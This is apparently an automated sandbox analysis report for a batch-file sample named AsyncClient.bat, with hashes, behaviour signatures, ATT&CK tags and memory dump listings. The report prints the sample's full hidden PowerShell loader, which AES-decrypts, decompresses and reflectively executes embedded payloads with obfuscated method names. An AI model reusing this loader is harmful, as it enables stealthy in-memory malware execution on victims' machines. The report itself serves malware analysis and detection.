79d51a6e1d88225fbdf916f4f608ce53e563440df0b23d5f3ccc3aba1f12d7d5

Analysis

max time kernel
48s
max time network
16s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07/05/2024, 00:10

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General

Target

AsyncClient.bat
Size

63KB
MD5

dbce32c8a127cd9a7966fe4a47071071
SHA1

f1866b877b463be6df04dace8bccec70e11ce311
SHA256

79d51a6e1d88225fbdf916f4f608ce53e563440df0b23d5f3ccc3aba1f12d7d5
SHA512

e2165665aa1000a133734a760d78e341053ad0dbd5e904d4a58675167839b758423df8b71e206b1648fc44cb48ecd1c97a853cfac5f4b7b3d443d048d77266c6
SSDEEP

1536:rUqEZ9FzJrPZjPIUNcjvJsS/akFhJYCFyCteszYN:rEjPDTWakjpA0+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2952	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 2952	2944	cmd.exe	29
PID 2944 wrote to memory of 2952	2944	cmd.exe	29
PID 2944 wrote to memory of 2952	2944	cmd.exe	29
PID 2944 wrote to memory of 2952	2944	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7vVvuBLNEY/Ww8Yz8DqinX8Dj8QIWa7OX8xGc0CKzoU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jbfc0SmDvLsWPG+T0C1fCA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kxWEZ=New-Object System.IO.MemoryStream(,$param_var); $tVgbr=New-Object System.IO.MemoryStream; $RDVEt=New-Object System.IO.Compression.GZipStream($kxWEZ, [IO.Compression.CompressionMode]::Decompress); $RDVEt.CopyTo($tVgbr); $RDVEt.Dispose(); $kxWEZ.Dispose(); $tVgbr.Dispose(); $tVgbr.ToArray();}function execute_function($param_var,$param2_var){ $OGwTS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OLupP=$OGwTS.EntryPoint; $OLupP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat';$UNWbP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat').Split([Environment]::NewLine);foreach ($XLLii in $UNWbP) { if ($XLLii.StartsWith(':: ')) { $FSGvM=$XLLii.Substring(3); break; }}$payloads_var=[string[]]$FSGvM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2952-2-0x0000000073E71000-0x0000000073E72000-memory.dmp

Filesize
4KB

Download
memory/2952-3-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2952-4-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2952-5-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2952-6-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download
memory/2952-7-0x0000000073E70000-0x000000007441B000-memory.dmp

Filesize
5.7MB

Download